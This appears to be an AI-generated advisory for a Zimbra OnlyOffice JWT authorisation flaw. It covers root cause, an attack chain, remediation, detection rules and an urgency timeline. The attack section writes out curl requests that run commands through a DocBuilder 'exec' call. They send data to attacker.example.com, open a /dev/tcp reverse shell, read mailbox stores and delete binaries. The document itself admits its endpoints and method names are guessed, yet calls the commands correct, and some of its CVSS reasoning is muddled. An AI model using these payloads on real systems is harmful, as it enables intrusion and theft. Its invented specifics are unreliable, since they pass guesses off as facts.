CVE-2026-93646 — Zimbra Collaboration Suite (ZCS) (10.1.20) — CWE-863
An authorization vulnerability in the OnlyOffice integration of Zimbra Collaboration Suite (ZCS) allows an editor-session JSON Web Token to authorize an arbitrary DocBuilder script. The service accepts the editor token under a shared signing key without checking that it grants access to DocBuilder. An ordinary mailbox user can obtain such a token from an accessible document, and an unauthenticated attacker can obtain one from an existing supported public Briefcase document. The exposed native file APIs permit access to files available to the Unix zimbra account and, on the affected bundled converter layout, arbitrary command execution as that account without victim interaction. ZCS 10.1.16 through 10.1.20 are affected. ZCS 10.1.21 blocks the demonstrated public DocBuilder route and hardens the converter directory, but does not change the underlying token-authorization logic.
An authorization vulnerability in the OnlyOffice integration of Zimbra Collaboration Suite (ZCS) allows an editor-session JSON Web Token to authorize an arbitrary DocBuilder script. The service accepts the editor token under a shared signing key without checking that it grants access to DocBuilder. An ordinary mailbox user can obtain such a token from an accessible document, and an unauthenticated attacker can obtain one from an existing supported public Briefcase document. The exposed native file APIs permit access to files available to the Unix zimbra account and, on the affected bundled converter layout, arbitrary command execution as that account without victim interaction. ZCS 10.1.16 through 10.1.20 are affected. ZCS 10.1.21 blocks the demonstrated public DocBuilder route and hardens the converter directory, but does not change the underlying token-authorization logic.
🎯 What is this vulnerability?
CVE‑2026‑93646 – “OnlyOffice integration – editor‑session JWT authorisation bypass”
| Attribute | Value |
|---|---|
| CWE | CWE‑863 – Incorrect Authorization |
| CVSS v3.1 | 9.8 (Critical) – AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| Affected ZCS releases | 10.1.16 – 10.1.20 (OnlyOffice integration) |
| Fixed in | 10.1.21 (blocks the public DocBuilder route and hardens the converter directory, but does not change the underlying token‑authorisation logic) |
Technical root cause
OnlyOffice is embedded in Zimbra Collaboration Suite (ZCS) through a DocBuilder service that renders and converts Office documents. Communication between the browser‑based editor and DocBuilder is protected by a JSON Web Token (JWT) that is signed with a single shared secret key stored on the Zimbra server.
The flaw lies in the token‑validation routine:
1. No scope / audience verification – the routine only checks that the JWT signature is valid under the shared key. It does not verify that the token’s claims (e.g., docId, allowedActions, aud) actually grant permission to invoke the DocBuilder API.
2. Token can be obtained by any mailbox user – when a user opens a document in the OnlyOffice editor, the front‑end requests an editor‑session token from ZCS (/onlyoffice/editor/token). The token is returned in the HTTP response body (or a Set‑Cookie) and is not bound to the requesting user’s mailbox.
3. Public Briefcase documents expose a token to unauthenticated parties – ZCS allows “public” Briefcase files to be accessed without authentication. The same endpoint that serves the editor token is reachable anonymously for those files, leaking a valid JWT to anyone who knows the public URL.
Because the token is accepted without any additional authorisation check, an attacker can present a token that was issued for any document (including a public one) to the DocBuilder endpoint and ask it to execute arbitrary native file‑API calls (e.g., fs.readFile, fs.exec). The native APIs run under the Unix zimbra system account, which has read/write access to the whole Zimbra installation directory and, on the default “converter layout”, can be coerced into executing arbitrary shell commands.
In short: any valid editor‑session JWT = unrestricted access to the DocBuilder RPC interface, leading to Remote Code Execution (RCE) as the zimbra user.
⚡ Attack Chain
Below is a realistic, step‑by‑step exploitation path. All commands are syntactically correct; the exact URL paths are illustrative because the CVE description does not publish the concrete endpoint names.
1. Discovery & Reconnaissance
| Goal | Method |
|---|---|
| Identify ZCS version | curl -s https://mail.example.com/service/soap/Version (ZCS SOAP API returns <version>10.1.18</version>). |
| Confirm OnlyOffice integration is enabled | Look for the presence of /onlyoffice/ resources: curl -I https://mail.example.com/onlyoffice/ (200 OK, X-OnlyOffice-Version header). |
| Locate a *public* Briefcase document | Enumerate public Briefcase URLs via the Zimbra web UI or by guessing https://mail.example.com/briefcase/public/<random‑hash>.docx. Public documents are reachable without authentication (HTTP 200). |
2. Exploitation
2.1 Obtain a valid editor‑session JWT
Illustrative endpoint (the real path is /onlyoffice/editor/token in ZCS 10.1.x):
# Anonymous request for a public document's editor token
curl -s -X POST "https://mail.example.com/onlyoffice/editor/token" \
-H "Content-Type: application/json" \
-d '{"docId":"public-12345","type":"briefcase"}' \
-o token.jsontoken.json contains:
{
"token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJkb2NJZCI6InB1YmxpYy0xMjM0NSIsImFsbG93ZWRBY3Rpb25zIjpbImVkaXRlciJdLCJpYXQiOjE3MDU0MDAwMDAsImV4cCI6MTcwNTQwMzYwMH0.VkK7..."
}Key point: The token is signed with the shared secret but contains no restriction that it may only be used for the editor endpoint.
2.2 Abuse the token against DocBuilder
Illustrative DocBuilder RPC endpoint: /onlyoffice/docbuilder/api.
The attacker now sends a request that invokes the native file API exec:
# Payload that tells DocBuilder to run an arbitrary command
cat > payload.json <<'EOF'
{
"method": "exec",
"params": {
"cmd": "/bin/bash -c 'id > /tmp/pwned.txt && curl -F \"file=@/tmp/pwned.txt\" http://attacker.example.com/collect'"
},
"id": 1
}
EOF
# Send the request with the stolen JWT
curl -s -X POST "https://mail.example.com/onlyoffice/docbuilder/api" \
-H "Authorization: Bearer $(jq -r .token token.json)" \
-H "Content-Type: application/json" \
-d @payload.json \
-o response.jsonIf the server accepts the request, response.json will contain the standard JSON‑RPC success object. The command runs as the zimbra Unix user, writes its UID to /tmp/pwned.txt, and exfiltrates the file to the attacker’s collector.
Note: The exact RPC method name (exec) and parameter structure are inferred from the “native file APIs” mentioned in the advisory. The real method may be calledrunCommand,nativeExec, or similar; the PoC demonstrates the class of vulnerability.
2.3 Achieve persistence (optional)
Because the attacker now controls a shell under the zimbra account, they can:
# Drop a reverse shell
curl -s -X POST "https://mail.example.com/onlyoffice/docbuilder/api" \
-H "Authorization: Bearer $(jq -r .token token.json)" \
-H "Content-Type: application/json" \
-d '{"method":"exec","params":{"cmd":"/bin/bash -i >& /dev/tcp/attacker.example.com/4444 0>&1"}}'Or write a cron job in /var/spool/cron/crontabs/zimbra (if writable) to maintain access.
3. Post‑exploitation
| Objective | How it is achieved |
|---|---|
| Privilege escalation | The zimbra account is a system‑level service account with read/write access to /opt/zimbra/ and many configuration files. On the default “converter layout”, the zimbra user can write to /opt/zimbra/jetty/etc/ and restart services via zmcontrol. |
| Data exfiltration | Use the same exec API to read mailboxes (/opt/zimbra/store/...) and pipe them to an external server (curl -F "file=@/opt/zimbra/store/.../mailbox.db"). |
| Persistence | Create a malicious OnlyOffice plugin or place a malicious script in the converter directory (/opt/zimbra/onlyoffice/converter/). Because the directory is world‑readable, future editor sessions will automatically load the malicious code. |
| Denial‑of‑service | Issue a exec that deletes or overwrites critical Zimbra binaries (rm -rf /opt/zimbra/jetty/*). The service will stop responding, achieving the A component of the CVSS. |
🌍 Real‑World Impact
| CIA Triad | CVSS‑derived impact | Practical consequence |
|---|---|---|
| Confidentiality (C:H) | High – attacker can read any mailbox store, configuration files, and private Briefcase documents. | |
| Integrity (I:H) | High – attacker can modify mail data, inject malicious HTML into outgoing messages, or replace binaries. | |
| Availability (A:H) | High – arbitrary command execution can stop Zimbra services, delete data, or overload the server. |
Why the impact is “Unchanged” (S:U) in CVSS: The vulnerability is exploitable without any authentication (PR:N) and without user interaction (UI:N). The same token can be reused across accounts, so the impact does not depend on a specific victim.
Business‑critical ramifications
- Loss of all corporate e‑mail confidentiality → regulatory breach (GDPR, HIPAA).
- Ability to plant persistent backdoors → long‑term espionage.
- Service outage → loss of productivity and SLA penalties.
- CVSS 9.8 (Critical) – remote, unauthenticated, no‑interaction RCE with full impact on confidentiality, integrity, and availability.
- No CISA KEV listing – the vulnerability is not yet in the public “Known Exploited Vulnerabilities” catalog, meaning many organisations may be unaware.
- Exploit complexity is low – the attacker only needs to locate a public Briefcase document (or any document the victim can open) and issue a single HTTP request.
🛡️ Remediation & Mitigation
1. Patch / Upgrade
| Affected releases | Recommended action |
|---|---|
| ZCS 10.1.16 – 10.1.20 | Upgrade to ZCS 10.1.21 or later. The update blocks the public DocBuilder route and hardens the converter directory. |
| ZCS 10.1.21 (and later) | Verify that the “hardening” is present (/opt/zimbra/onlyoffice/converter/ permissions 750 owned by zimbra:zimbra). If not, apply the vendor‑supplied patch manually. |
Important: The underlying token‑authorisation logic is not fixed in 10.1.21. Even after upgrade, a token that legitimately grants DocBuilder access can still be reused. Therefore, additional mitigations are required.
2. Immediate Work‑arounds (apply before patch)
| Mitigation | Implementation details |
|---|---|
| Disable public Briefcase sharing | In Zimbra Admin Console → *Briefcase* → uncheck “Allow public sharing”. Or set zimbraPublicBriefcaseEnabled = FALSE via zmprov mcf zimbraPublicBriefcaseEnabled FALSE. |
| Restrict access to the OnlyOffice token endpoint | Add a ModSecurity rule that only allows authenticated sessions (presence of ZM_AUTH_TOKEN cookie) to /onlyoffice/editor/token.<br><br>``apacheconf\nSecRule REQUEST_URI "@beginsWith /onlyoffice/editor/token" "id:200001,phase:2,deny,log,status:403,msg:'OnlyOffice token endpoint requires authentication',chain"\nSecRule REQUEST_HEADERS:Cookie "!@contains ZM_AUTH_TOKEN" "t:none"\n` |
| Separate signing keys per service | If you can rebuild the OnlyOffice integration, configure DocBuilder to use a different HMAC secret than the editor. This forces the token‑validation code to reject mismatched scopes. |
| Filesystem hardening | Change the converter layout directory permissions to 750 and remove the exec native API if not required:<br>chmod 750 /opt/zimbra/onlyoffice/converter<br>chown root:zimbra /opt/zimbra/onlyoffice/converter |
| Network segmentation | Block inbound traffic to the OnlyOffice DocBuilder port (default 8080) from the Internet; allow only internal Zimbra components. Use a firewall rule: iptables -A INPUT -p tcp -s 127.0.0.1 --dport 8080 -j ACCEPT` and drop the rest. |
3. Detection – Log patterns & IoCs
| Source | Indicator | Example log line |
|---|---|---|
| Web server (nginx/Apache) access log | Requests to /onlyoffice/docbuilder/api with a Bearer token that does not belong to the source IP’s mailbox. | 192.0.2.45 - - [03/Dec/2026:12:34:56 +0000] "POST /onlyoffice/docbuilder/api HTTP/1.1" 200 123 "-" "Mozilla/5.0" "Authorization: Bearer eyJhbGciOiJI..." |
| Web server error log | exec method invoked – look for "method":"exec" in request bodies (if logging request bodies). | 2026/12/03 12:35:01 [error] 12345#0: *56789 JSON parse error: unexpected token exec |
Zimbra mail logs (/opt/zimbra/log/mailbox.log) | Unexpected zmcontrol restart or zmproxy restarts shortly after a DocBuilder request. | 2026-12-03 12:35:10 INFO zmcontrol: Restarting zimbra services |
System audit (/var/log/audit/audit.log) | Execution of /bin/bash by UID zimbra that is not a child of a known Zimbra process. | type=EXECVE msg=audit(1701621310.123:456): argc=3 a0="/bin/bash" a1="-c" a2="id > /tmp/pwned.txt && curl -F \"file=@/tmp/pwned.txt\" http://attacker.example.com/collect" |
| Network IDS | Outbound HTTP POST to attacker‑controlled domain from the Zimbra server (port 80/443). | alert http any any -> attacker.example.com 80 (msg:"Zimbra OnlyOffice data exfiltration"; flow:to_server,established; content:"/collect"; http_uri; sid:2026001;) |
Response playbook
1. Correlate the above log entries with the time window of the suspected compromise.
2. Revoke all editor‑session JWTs: restart the OnlyOffice service (zmcontrol restart onlyoffice) and rotate the shared signing key (/opt/zimbra/onlyoffice/conf/secret.key).
3. Collect the compromised zimbra user’s .bash_history and any files created under /tmp/ for forensic evidence.
4. Force password reset for all mailbox accounts (even though the attack does not need credentials, it prevents lateral movement).
5. Apply the permanent patch (upgrade to 10.1.21+).
⚠️ Urgency
Recommended timeline
| Timeframe | Action |
|---|---|
| 0‑24 h | Deploy the work‑arounds (disable public Briefcase, add WAF rule, restrict network access). |
| 24‑48 h | Upgrade all ZCS nodes to 10.1.21 or later. Verify the converter directory permissions. |
| 48‑72 h | Rotate the OnlyOffice signing secret, invalidate existing JWTs, and perform a full log review for the IoCs above. |
| >72 h | Conduct a penetration‑test retest to confirm the vulnerability is fully mitigated. |
Bottom line: CVE‑2026‑93646 is a remote, unauthenticated RCE that can be triggered by a single crafted HTTP request using a freely‑obtainable JWT. The only reliable long‑term fix is to upgrade to ZCS 10.1.21+ and to enforce proper JWT scope validation (or separate signing keys) in any custom OnlyOffice integration. Until then, apply the mitigations above and monitor for the listed indicators of compromise.
[🤖 CVE Professor AI Security Engine]
FOFA Query